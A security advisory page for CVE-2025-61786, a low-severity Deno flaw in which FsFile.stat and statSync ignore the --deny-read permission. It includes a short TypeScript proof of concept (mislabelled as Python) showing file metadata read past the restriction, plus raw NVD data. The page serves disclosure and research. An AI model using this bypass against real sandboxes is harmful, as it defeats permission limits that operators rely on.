Security Vulnerability Report
中文
CVE-2025-61786 CVSS 3.3 LOW

CVE-2025-61786

Published: 2025-10-08 01:15:33
Last Modified: 2025-10-16 18:13:38

Description

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`). Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:* - VULNERABLE
Deno < 2.2.15
Deno 2.3.x
Deno 2.4.x
Deno 2.5.0 - 2.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-61786 PoC - Deno FsFile.stat permission bypass // Run with: deno run --deny-read=./ poc.ts // Step 1: Create a sensitive file that we should not be able to read try { Deno.writeTextFileSync("./secret.txt", "This is sensitive data"); } catch (e) { console.log("Setup: secret.txt created"); } // Step 2: Open the file with WRITE-ONLY permissions (no read permission needed) // This bypasses the --deny-read permission check const file = Deno.openSync("./secret.txt", { write: true }); // Step 3: Call stat() on the file handle to retrieve file metadata // This should be blocked by --deny-read but is NOT due to the vulnerability const fileStat = file.statSync(); // Step 4: Exfiltrate the metadata (size, mtime, permissions, etc.) console.log("File size:", fileStat.size); console.log("File mode:", fileStat.mode); console.log("Modified time:", fileStat.mtime); console.log("Is file:", fileStat.isFile); console.log("Is symlink:", fileStat.isSymlink); console.log("Birthtime:", fileStat.birthtime); // Step 5: Verify that direct stat is properly blocked (control test) try { Deno.statSync("./secret.txt"); console.log("ERROR: Direct stat should have been blocked!"); } catch (e) { console.log("Direct stat correctly blocked:", e.message); } file.close(); Deno.removeSync("./secret.txt");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61786", "sourceIdentifier": "[email protected]", "published": "2025-10-08T01:15:33.010", "lastModified": "2025-10-16T18:13:38.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`). Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.2.15", "matchCriteriaId": "E75979F4-50DD-41E8-932A-C576F86DBFCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.3.0", "versionEndExcluding": "2.5.3", "matchCriteriaId": "7DD66938-204A-4542-BA86-274BB232C8C9"}]}]}], "references": [{"url": "https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/denoland/deno/pull/30876", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/denoland/deno/releases/tag/v2.2.15", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/denoland/deno/releases/tag/v2.5.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}